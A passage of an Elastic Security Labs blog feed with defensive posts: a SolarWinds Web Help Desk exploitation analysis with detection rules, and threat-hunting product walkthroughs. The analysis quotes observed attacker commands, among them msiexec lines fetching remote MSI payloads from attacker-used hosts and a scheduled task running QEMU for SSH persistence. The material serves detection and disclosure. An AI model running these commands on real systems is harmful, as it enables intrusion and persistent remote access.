| <code>/tmp/*.scpt</code> | Temporary AppleScript launcher |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/axios-supply-chain-compromise-detections</link>
    <guid isPermaLink="false">axios-supply-chain-compromise-detections</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud,Samir Bousseaden,Salim Bitam,Joe Desimone,Colson Wilhoit,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd65fe78a02d1d401/6a7d7df6e02fac442a5d34b0/axios-supply-chain-compromise-detections.webp" length="0" type="image/webp"/>
    <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[SolarWinds Web Help Desk Exploitation - February 2026]]></title>
    <description><![CDATA[Elastic Security detection and prevention capabilities for the recently-disclosed SolarWinds Web Help Desk vulnerabilities.]]></description>
    <content:encoded><![CDATA[<h2 id="summary">Summary</h2>
<ul>
<li>On February 6, 2026, Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/">reported</a> the exploitation of <a href="https://www.solarwinds.com/web-help-desk">SolarWinds Web Help Desk</a> (WHD) servers  </li>
<li>The exploitation facilitated multi-stage intrusions leveraging remote monitoring and management software (RMM), credential dumping, and setting up tunnels and RDP for persistent access  </li>
<li>While not yet confirmed, the activity may be associated with one of the following disclosed CVEs: <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-26399">CVE-2025-26399</a>, <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40536">CVE-2025-40536</a>, and <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551">CVE-2025-40551</a>  </li>
<li>Elastic Security Labs does not observe telemetry events related to this activity as of the date of this publication  </li>
<li>Elastic Defend provides comprehensive visibility, along with 5 prebuilt prevention and 11 prebuilt detection capabilities across this reported activity</li>
</ul>
<h2 id="background">Background</h2>
<p>Multiple intrusions have been publicly reported starting on February 6, 2026 stemming from Internet-connected servers utilizing SolarWinds Web Help Desk <a href="https://support.solarwinds.com/web-help-desk">software</a>. This exploitation activity reportedly first occurred in December 2025. </p>
<p>Given the number of recent CVEs affecting this product, it’s not yet clear which of several CVEs is directly responsible for these campaigns. Below are the CVEs involved in this reported activity:</p>
<ul>
<li><code>CVE-2025-26399</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-26399">SolarWinds Web Help Desk AjaxProxy Deserialization of Untrusted Data Remote Code Execution Vulnerability</a>   </li>
<li><code>CVE-2025-40536</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40536">SolarWinds Web Help Desk Security Control Bypass Vulnerability</a>  </li>
<li><code>CVE-2025-40551</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551">SolarWinds Web Help Desk Deserialization of Untrusted Data Remote Code Execution Vulnerability</a></li>
</ul>
<p>Below is a table of the vulnerability descriptions and the impacted product versions:</p>
<p>| Vulnerability ID | Vulnerability Description | Affected Products |
| :---- | :---- | :---- |
| CVE-2025-26399 | Unauthenticated AjaxProxy deserialization remote code execution vulnerability | SolarWinds Web Help Desk 12.8.7 and all previous versions |
| CVE-2025-40536 | Susceptible to a security control bypass vulnerability | SolarWinds Web Help Desk 12.8.8 HF1 and all previous versions |
| CVE-2025-40551 | Untrusted data deserialization vulnerability | SolarWinds Web Help Desk 12.8.8 HF1 and all previous versions |</p>
<p>After exploitation, the threat actors are documented to have abused otherwise legitimate RMM software to gain persistent access to victim environments. Additional reporting noted the use of <a href="https://docs.velociraptor.app/">Velociraptor</a> being abused for post-compromise execution, such as disabling Microsoft Defender and setting up a Cloudflare tunnel. </p>
<p>Once the TAs had gained network access, they configured a scheduled task to start a QEMU virtual system to maintain remote access. Credential dumping activity was also observed, including the use of DCSync and the extraction of the <code>NTDS.dit</code> database from a Windows domain controller.</p>
<p>The following sections detail Elastic Security detection and prevention rules that can detect and mitigate these intrusive activities.</p>
<h2 id="executionflow">Execution Flow</h2>
<h3 id="initialaccess">Initial access</h3>
<p>Following the successful exploitation of the SolarWinds Web Help Desk (WHD), the threat actors established an interactive shell. Observations indicate a heavy reliance on "living-off-the-land" (LotL) techniques, where legitimate system utilities and programs such as RMMs are used to perform malicious actions. </p>
<p>The original attack chain happens from the WHD service wrapper (<code>wrapper.exe</code>) spawning <code>java.exe</code> which then spawns the Windows command processor (<code>cmd.exe</code>). An Elastic SIEM rule has been <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_potential_webhelpdesk_exploit.toml">created</a> for the community to detect unusual child process activity from the SolarWinds Web Help Desk application.</p>
<pre><code>any where host.os.type == "windows" and
(
 (event.category == "library" and
  process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java.exe") and
  (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or

 (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and
  process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe"))
)
</code></pre>
<p><em>SIEM Rule - Suspicious SolarWinds Web Help Desk Java Module Load or Child Process</em> </p>
<p>One of the initial attack chains involved installing a remotely-hosted MSI installer from an anonymous file-hosting service called <a href="https://catbox.moe/">Catbox</a>.  The following command-line was observed:</p>
<pre><code>msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi
</code></pre>
<p>In order to detect this activity, Elastic has a SIEM prebuilt rule to detect remote installation of MSI files <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_msiexec_remote_payload.toml">here</a>, and an endpoint behavior protection <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">here</a>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta2df4f2b8fff08dd/6a7d8443bd219898ed755316/image2.png" alt="Alert - Remote File Execution via MSIEXEC" title="Alert - Remote File Execution via MSIEXEC" /></p>
<p>Suspicious child processes from Java and SolarWinds WHD represent the earliest phase of this attack, which resulted in the installation of an RMM MSI file. This remote monitoring and management utility provides some of the functionality of a conventional backdoor while resembling benign administrative software.</p>
<h3 id="discovery">Discovery</h3>
<p>After the RMM agent was configured, the threat group moved to hands-on keyboard activity performing reconnaissance and discovery within the network.<br />
They then leveraged the RMM agent tooling to perform discovery within the Windows network executing commands targeting information related to Active Directory. An observed command line is shown below:</p>
<pre><code>net group "domain computers" /do
</code></pre>
<p>An existing SIEM rule designed to identify Windows account group discovery detects this reconnaissance technique and is available <a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/discovery_generic_account_groups.toml">here</a>.</p>
<h3 id="evasion">Evasion</h3>
<p>One of the more notable choices used by the threat actor in one campaign was the usage of open-source forensic tool, <a href="https://github.com/Velocidex/velociraptor">Velociraptor</a>. While this legitimate tool is traditionally used to collect forensic artifacts from endpoints, the adversaries used it for code execution and file staging. The threat group silently installed Velociraptor using the remote MSI command shown below and a prebuilt Elastic Security rule is available:</p>
<pre><code>msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi
</code></pre>
<p>They followed this up with an installation of the Cloudflare Tunnel <a href="https://github.com/cloudflare/cloudflared">client</a> (<code>Cloudflared</code>) with the following command:</p>
<pre><code>msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi
</code></pre>
<p>Echoing trends observed throughout 2025 and described in the <a href="https://www.elastic.co/security-labs/elastic-publishes-2025-global-threat-report">Elastic Global Threat Report</a>, adversaries increasingly abuse trusted networks for transport encryption and to take advantage of benign reputation. The remote MSI installation rules discussed earlier in this article also apply in this case; however, installing a legitimate security tool is likely to appear benign to many enterprises. Cisco Talos has previously <a href="https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/">highlighted</a> this emerging attacker trend involving the use of Velociraptor for post-compromise activity.</p>
<p>Other observations in this intrusion set included the threat actor disabling security controls such as Windows Defender and Window Firewall through registry key modifications.  Existing Elastic <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_disabled_via_registry.toml">SIEM</a> and <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_defender_registry_modification.toml">endpoint</a> rules identify these attempts to undermine security settings.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt408a409576a0f1ba/6a7d8445cc7e56dda75d0d9f/image3.png" alt="Alert - Microsoft Windows Defender Tampering" title="Alert - Microsoft Windows Defender Tampering" /></p>
<h3 id="persistence">Persistence</h3>
<p>In order to maintain continued access, the threat actors set up a Windows scheduled task using the following command-line:</p>
<pre><code>SCHTASKS /CREATE /V1 /RU SYSTEM /SC ONSTART /F /TN "TPMProfiler" /TR        "C:\Users\&lt;user&gt;\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -        device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22"
&lt;/user&gt;
</code></pre>
<p>This scheduled task named <code>TPMProfiler</code> was configured to execute <a href="https://www.qemu.org/">QEMU</a>, a system-level virtualization and emulation tool. QEMU was then used to establish an SSH connection, facilitating continued access to the compromised system.  </p>
<p>Elastic Security published and maintains a SIEM detection <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_job_creation.toml">rule</a> to detect the creation of this scheduled task.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcbaff11407c6657e/6a7d8448bd21989fdc75531a/image1.png" alt="Alert - Persistence via Scheduled Job Creation" title="Alert - Persistence via Scheduled Job Creation" /></p>
<p>In order to detect the QEMU tunnelling activity, Elastic Security has this Elastic Defend rule <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_potential_traffic_tunneling_with_qemu.toml">here</a> and an Elastic prebuilt detection rule <a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_tunnel_qemu.toml">here</a>.</p>
<h3 id="credentialaccess">Credential Access</h3>
<p>As part of these attacks, Microsoft also mentioned credential dumping of the Active Directory Domain Database (<code>ntds.dit</code>). Elastic provides multiple detections for this behavior, including the rules referenced <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">here</a> and <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml">here</a>.</p>
<h3 id="recommendations">Recommendations</h3>
<ol>
<li>Apply the latest SolarWinds Web Help Desk patches.  </li>
<li>Rotate all service and administrative credentials that are associated with SolarWinds Web Help Desk.  </li>
<li>Conduct host-level reviews of any impacted servers and endpoints to identify unauthorized activity.  </li>
<li>Identify and remove any RMM usage associated with this activity. Review organizational policy and monitoring strategies for RMM tools.</li>
</ol>
<h3 id="detectingsolarwindswhdexploitation">Detecting SolarWinds WHD exploitation</h3>
<h4 id="elasticsecurityprebuiltdetectionrules">Elastic Security prebuilt detection rules</h4>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_potential_webhelpdesk_exploit.toml">Suspicious SolarWinds Web Help Desk Java Module Load or Child Process</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_msiexec_remote_payload.toml">Potential Remote Install via MsiExec</a>   </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">Remote File Execution via MSIEXEC</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/discovery_generic_account_groups.toml">Windows Account or Group Discovery</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_disabled_via_registry.toml">Windows Defender Disabled via Registry Modification</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_job_creation.toml">Persistence via Scheduled Job Creation</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">NTDS or SAM Database File Copied</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml">Potential Credential Access via Windows Utilities</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/793d79b0637135298c821a762a98312ad7f3c7d1/rules/windows/command_and_control_tunnel_vscode.toml#L39">Attempt to Establish VScode Remote Tunnel</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/df9c27d82e74eb51e39376f1af30d2beb738c673/rules/windows/command_and_control_new_terms_commonly_abused_rat_execution.toml#L26">First Time Seen Commonly Abused Remote Access Tool Execution</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_tunnel_qemu.toml">Potential Traffic Tunneling using QEMU</a></li>
</ul>
<h4 id="elasticdefendprebuiltpreventionrules">Elastic Defend prebuilt prevention rules</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">Remote File Execution via MSIEXEC</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_defender_registry_modification.toml">Suspicious Windows Defender Registry Modification</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/7ad65c2cfca7a6c54c74dbe6206e968234209f94/behavior/rules/windows/command_and_control_potential_traffic_tunneling_with_qemu.toml#L3">Potential Traffic Tunneling with QEMU</a>   </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_webservice_lolbas.toml">Connection to WebService by a Signed Binary Proxy</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/7ad65c2cfca7a6c54c74dbe6206e968234209f94/behavior/rules/cross-platform/execution_attempt_to_establish_vscode_remote_tunnel.toml#L16">Attempt to establish VScode Remote Tunnel</a> </li>
</ul>
<h3 id="references">References</h3>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/">https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/</a></li>
</ul>
<h3 id="mitreattckmapping">MITRE ATT&amp;CK Mapping</h3>
<p>| Tactic         | Technique | ID |
| :---- | :---- | :---- |
| Initial Access | Exploit Public-Facing Application | T1190 |
| Execution | PowerShell | T1059.001 |
| Lateral Movement | Remote Service Session Hijacking | T1563 |
| Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 |
| Persistence | Scheduled Task/Job | T1053.005 |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/solarwinds-whd-exploitation</link>
    <guid isPermaLink="false">solarwinds-whd-exploitation</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d136275a6f125bf/6a7d844bdd26d221442a7297/photo-edited-10.png" length="0" type="image/png"/>
    <pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[From Hypothesis to Action: Proactive Threat Hunting with Elastic Security]]></title>
    <description><![CDATA[Elastic Security is designed to enable hypothesis-driven threat hunting at speed and scale. By unifying security telemetry and enabling analytics across clusters, threat hunters can ask complex questions across all their data, correlate signals, and validate hypotheses quickly without manual data stitching.]]></description>
    <content:encoded><![CDATA[<p>When a new threat actor technique emerges — whether from a research blog, an intelligence feed, or breaking news — every threat hunter instinctively shifts into hypothesis mode. Could this be happening in my environment? Are early signals hiding in the noise?</p>
<p>Take the recent TOLLBOOTH research as an example. The moment Elastic Security Labs <a href="https://www.elastic.co/security-labs/tollbooth">published the attack chain</a>, an analyst might begin forming hypotheses based on specific techniques described, such as:</p>
<ul>
<li><em>Have historically frozen or archived IIS server logs shown any anomalies when re-examined with full telemetry?</em>  </li>
<li><em>Are there signs of credential dumping or privilege escalation attempts on any IIS servers?</em></li>
</ul>
<p>This is the essence of hypothesis-driven hunting; start with a developing threat, and rapidly ask targeted questions. It’s one of the most effective ways to get ahead of emerging attacks, but it demands broad visibility and tools that can keep up with your curiosity.</p>
<p>The reality for many SOC teams, however, falls short. They face data silos, limited search capabilities, and the fatigue of manual correlation.</p>
<p>Elastic Security is designed to remove these barriers by enabling <strong>hypothesis-driven threat hunting at speed and scale</strong>. By unifying security telemetry and enabling analytics across clusters, threat hunters can ask complex questions across all their data, correlate signals, and validate hypotheses quickly without manual data stitching.</p>
<p>This capability is delivered through a set of foundational building blocks that work together:</p>
<ul>
<li><p><strong>Agentic workflows</strong> triage alerts, while a <strong>knowledge-grounded AI Assistant</strong> generates validated ES|QL queries, drives remediation, and recommends next steps.</p></li>
<li><p><strong>Elastic Security Labs</strong> to bring continuously updated threat research and adversary insights directly into detections and investigations.</p></li>
<li><p><strong>Detection rules</strong> that provide out-of-the-box coverage aligned to real-world attack techniques and hunting scenarios.</p></li>
<li><p><strong>Entity analytics</strong> to correlate users, hosts, and services, assign risk scores, and surface anomalies to enrich every investigation.</p></li>
<li><p><strong>Machine learning and anomaly detection</strong> to surface deviations from normal behavior and expose unknown or emerging threats.</p></li>
<li><p><strong>ES|QL, visualizations, and cross-cluster search</strong> to enable fast, expressive querying, intuitive analysis, and seamless hunting across distributed environments without blind spots.</p></li>
</ul>
<p>Together, these building blocks give security teams the <strong>speed, scale, and analytical depth</strong> needed to move from reactive investigation to confident, proactive threat hunting—testing hypotheses across all of their data within a single, unified Elastic Security platform.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9c6aa657f87a9737/6a7d83afbd21981f7b755304/image5.png" alt="" /></p>
<h2 id="intothewoodsnavigatingarealworldlolbinshunt">Into the woods: Navigating a real-world LOLBins hunt</h2>
<p>This section shows how a threat hunt plays out in practice, moving from an empty search bar to a confirmed and contained threat through a real-world scenario focused on Living Off the Land Binaries (LOLBins).</p>
<h3 id="buildyourhypothesiswitharagpoweredaiassistant">Build your hypothesis with a RAG-powered AI Assistant</h3>
<p>Your investigation can begin even before writing a single query. You can use Elastic’s retrieval-augmented generation (RAG)–powered AI Assistant to pull in trusted <a href="https://www.elastic.co/docs/solutions/security/ai/ai-assistant-knowledge-base">knowledge sources</a>, such as Elastic Security Labs research, and build the foundation of your hypothesis. You can add any trusted sources as knowledge to ensure the Assistant reflects the data you rely on.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta0b2db5a24cbe689/6a7d83b2bd21986a17755308/image1.png" alt="Elastic AI Assistant knowledge base entries" title="Elastic AI Assistant knowledge base entries" /></p>
<p>If you don’t have a specific target yet, you can ask the Assistant, </p>
<p><em>“Based on current trends, what hypothesis should I start my hunt with today?”</em> The Assistant scans the configured knowledge base, which provides relevant context and directly generates a primary hypothesis along with supporting reasons and evidence. In this scenario, Elastic Security Labs content has been added to the knowledge base to supply the context.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt000e583a8252575c/6a7d83b5448e4ee4a55bdb84/image9.png" alt="" /></p>
<h3 id="sitbackwhileaiassistantcreatesyourtailoredthreathuntingquery">Sit back while AI Assistant creates your tailored threat hunting query</h3>
<p>Once you accept the LOLBin hypothesis, the AI Assistant generates a precise ES|QL threat hunting query tailored to your environment. Instead of writing complex syntax from scratch, you receive a targeted search designed to surface the specific suspicious behaviors.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4a78447319501a1f/6a7d83b85588ad79eeee433e/image8.png" alt="Elastic AI Assistant-generated ES|QL query to detect Office/Server spawned LOLBins with suspicious patterns" title="Elastic AI Assistant-generated ES|QL query to detect Office/Server spawned LOLBins with suspicious patterns" /></p>
<p>To ensure queries are ready to run, the Elastic AI Assistant uses an agentic workflow to generate bespoke ES|QL queries from human-supplied use cases. It draws on your Elastic cluster data to craft accurate, ready-to-run responses and performs automatic validation before returning the final query. This background validation removes the need for manual troubleshooting, delivering a verified, ready-to-use query that can be pulled directly into your investigation timeline from the AI Assistant.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1201c435fe377d2c/6a7d83bb498caf999c01eebc/image7.png" alt="Elastic Security Timeline with ES|QL pulled over from the AI-assistant" title="Elastic Security Timeline with ES|QL pulled over from the AI-assistant" /></p>
<p>Alternatively, you can link a GitHub repository of Elastic’s <a href="https://github.com/elastic/detection-rules/tree/main/hunting">threat hunting queries</a> to the Assistant’s knowledge base to use existing queries as a baseline for your next steps.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb60d250e22729032/6a7d83be42a1173ffc95915e/image13.png" alt="Threat hunt queries section within Elastic’s pre-built detection rules GitHub repository" title="Threat hunt queries section within Elastic’s pre-built detection rules GitHub repository" /></p>
<h3 id="huntthreatsacrossyourentireenvironmentwithesql">Hunt Threats Across Your Entire Environment with ES|QL</h3>
<p>If you manage a global environment and need to determine whether this activity is occurring in other clusters, you can expand your hypothesis by asking the AI Assistant to adapt the query for a Cross-Cluster Search (CCS). This enables you to search across multiple clusters in your environment—including frozen and long-term data—without disrupting your investigative workflow.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt04afde6003c5f29a/6a7d83c1a529e11b7b59c95c/image11.png" alt="Updated ES|QL query using cross-cluster search to show Office/Server spawned LOLBins with suspicious patterns in both local and remote clusters" title="Updated ES|QL query using cross-cluster search to show Office/Server spawned LOLBins with suspicious patterns in both local and remote clusters" /></p>
<p>Seamlessly transition from the AI Assistant to the timeline view and run the query. This targeted search uncovers a critical finding: an instance of <em>rundll32.exe</em> executing on a Windows server with hostname <em>elastic-defend-endpoint</em> under the <em>gbadmin</em> user account<em>.</em></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfbc6becc8a15c093/6a7d83c4d0f11499539fa06a/image6.png" alt="LOLBin Investigation Timeline results" title="LOLBin Investigation Timeline results" /></p>
<h3 id="addcontextwithanalyticsandvisualizations">Add context with analytics and visualizations</h3>
<p>Finding a hit is only step one; now, you must determine if this is an admin performing maintenance or an actual attack. Validating your ideas requires deep analytics across hosts and users. By drilling down into the affected host, you land in the Entity Details.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb95d58239c360036/6a7d83c74c4bfb8293cca885/image10.png" alt="Host Entity flyout" title="Host Entity flyout" /></p>
<p>Here, you’re not just seeing a hostname. You’re seeing a consolidated view of the host’s risk score, the specific alerts contributing to that score, and the asset’s criticality—all in one place. By bringing together detection signals, behavioral anomalies, and asset importance, Elastic’s entity risk scoring helps analysts quickly understand why an asset is risky, how urgent the threat is, and where to focus first. This unified context reduces investigation time, minimizes guesswork, and enables confident prioritization in high-volume environments.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5353f72af8b119d6/6a7d83caea068d7271f0725c/image14.png" alt="Entity details, risk score, and associated alerts for the affected host" title="Entity details, risk score, and associated alerts for the affected host" /></p>
<h3 id="confirmtheanomalywithmachinelearning">Confirm the anomaly with machine learning</h3>
<p>When you examine the risk score, the supporting evidence is displayed alongside it. You can see the specific alerts contributing to the elevated risk score, including a mix of medium-severity alerts and a Machine Learning (ML) alert such as <strong><em>“Unusual Windows Path Activity”</em></strong>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt00686de1005ae7f0/6a7d83ccd0f11440b29fa06e/image16.png" alt="Machine learning anomaly alert" title="Machine learning anomaly alert" /></p>
<p>Because ML is uniquely suited to detecting subtle deviations that static rules often miss, seeing an ML alert contributing to the risk score helps validate that this activity isn’t just noise—it points to a meaningful behavioral anomaly.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltae76d25fe871f09f/6a7d83cfc2e9148675013ce1/image2.png" alt="‘Unusual Windows Path Activity’ alert flyout" title="‘Unusual Windows Path Activity’ alert flyout" /></p>
<p>The event details immediately visualize the process lineage, revealing the critical evidence right in the panel. These insights transform your hypothesis from plausible to provable.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9eadb58b1dd73a84/6a7d83d2e88c65a34e0089ac/image12.png" alt="Visual event analyzer with rundll32.exe flyout" title="Visual event analyzer with rundll32.exe flyout" /></p>
<h3 id="takeactionfrominsighttoresponse">Take Action: From Insight to Response</h3>
<p>After validating your hypothesis by uncovering suspicious activity, the immediate next step is response. Elastic Security lets responders act directly from their investigations without switching platforms.</p>
<p>Once a compromised host is confirmed, you can take action from the console by isolating the host to prevent lateral movement or terminating the malicious process tree uncovered in your <strong>LOLBIN hunt</strong>. This seamless transition from investigation to response enables rapid containment using the same tools and context.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa68d994fe3f0c91/6a7d83d586c8d94e469863d7/image4.png" alt="Response console for isolated host, elastic-defend-endpoint" title="Response console for isolated host, elastic-defend-endpoint" /></p>
<h3 id="operationalizequeriesandautomatehunting">Operationalize Queries and Automate Hunting</h3>
<p>To automate future hunts and eliminate manual verification of recurring patterns, you can directly import a query into an operational detection rule, or create a rule for specific behaviors, anomalies, or new term values appearing for the first time, and convert it into a fully operational detection rule with a single click.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8b2b08b99ba726c9/6a7d83d86693f845dd6610cd/image15.png" alt="Detection rule creation with ES|QL in Elastic Security" title="Detection rule creation with ES|QL in Elastic Security" /></p>
<p>In enterprise environments, a LOLBin hunt can quickly generate a high volume of alerts. This is where agentic <a href="https://www.elastic.co/docs/solutions/security/ai/attack-discovery"><strong>Attack Discovery</strong></a> makes a big difference. Its primary purpose is to help you triage efficiently by automatically correlating signals and highlighting the activity that requires immediate attention.</p>
<p>You can also group and tag hunting-related alerts and run Attack Discovery specifically on those sets to uncover meaningful patterns. This flexibility makes Attack Discovery valuable not only for automated alert triage, but also for advanced, hypothesis-driven threat hunting workflows.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt902b67fe5c00e8c4/6a7d83db2f00b23614efbf2c/image3.png" alt="Running Attack Discovery on a curated group of LOLBin hunting alerts" title="Running Attack Discovery on a curated group of LOLBin hunting alerts" /></p>
<h3 id="bonusautomatewithelasticagentbuilder">Bonus: Automate with Elastic Agent Builder</h3>
<p>Imagine building a <strong>LOLBin Hunter custom agent</strong>—purpose-built to hunt for LOLBin activity across your security data. Using <a href="https://www.elastic.co/docs/solutions/search/agent-builder/get-started"><strong>Elastic Agent Builder</strong></a>, you can create this agent powered by an LLM and equipped with tools such as the ES|QL queries used in your manual workflow. </p>
<p>Once configured, you can interact with your security data using natural language, and the agent will reason through your request, select the most relevant tools, and take action. For example, you could ask: <em>“Show me LOLBin activity that triggered machine learning anomalies and summarize the affected hosts and their risk scores.”</em></p>
<h3 id="stayaheadofemergingattackswithelasticsecurity">Stay ahead of emerging attacks with Elastic Security</h3>
<p>Hypothesis-driven threat hunting is critical for staying ahead of modern attacks, but it can be complex and time-consuming without the right tools. Elastic Security combines AI-assisted investigation, ES|QL search, contextual analytics, machine learning, and integrated response to make every stage simpler and faster.</p>
<p>From the moment a new threat emerges to the point of actionable response, Elastic empowers analysts to uncover hidden signals, validate their hypotheses, and act decisively—turning raw data into intelligence and intelligence into action.</p>
<p>Interested in learning more about Elastic Security? <a href="https://www.elastic.co/events">Browse our webinars, events, and more</a> or <a href="https://www.elastic.co/start">get started with your free trial</a> today.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/proactive-threat-hunting-with-elastic-security</link>
    <guid isPermaLink="false">proactive-threat-hunting-with-elastic-security</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Paul Ewing,Sandiya Ramamoorthy]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f738c71ebadacc8/6a7d83de8fc2d0dbb23eb8e9/image0.png" length="0" type="image/png"/>
    <pubDate>Thu, 08 Jan 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Elevate Your Threat Hunting with Elastic]]></title>
    <description><![CDATA[Elastic is releasing a threat hunting package designed to aid defenders with proactive detection queries to identify actor-agnostic intrusions.]]></description>
    <content:encoded><![CDATA[<p>We are excited to announce a new resource in the Elastic <a href="https://github.com/elastic/detection-rules">Detection Rules</a> repository: a collection of hunting queries powered by various Elastic query languages!</p>
<p>These hunting queries can be found under the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Hunting</a> package. This initiative is designed to empower our community with specialized threat hunting queries and resources across multiple platforms, complementing our robust SIEM and EDR ruleset. These are developed to be consistent with the paradigms and methodologies we discuss in the Elastic <a href="https://www.elastic.co/security/threat-hunting">Threat Hunting guide</a>.</p>
<h2 id="whythreathunting">Why Threat Hunting?</h2>
<p>Threat hunting is a proactive approach to security that involves searching for hidden threats that evade conventional detection solutions while assuming breach. At Elastic, we recognize the importance of threat hunting in strengthening security defenses and are committed to facilitating this critical activity.</p>
<p>While we commit a substantial amount of time and effort towards building out resilient detections, we understand that alerting on malicious behavior is only one part of an effective overall strategy. Threat hunting moves the needle to the left, allowing for a more proactive approach to understanding and securing the environment.</p>
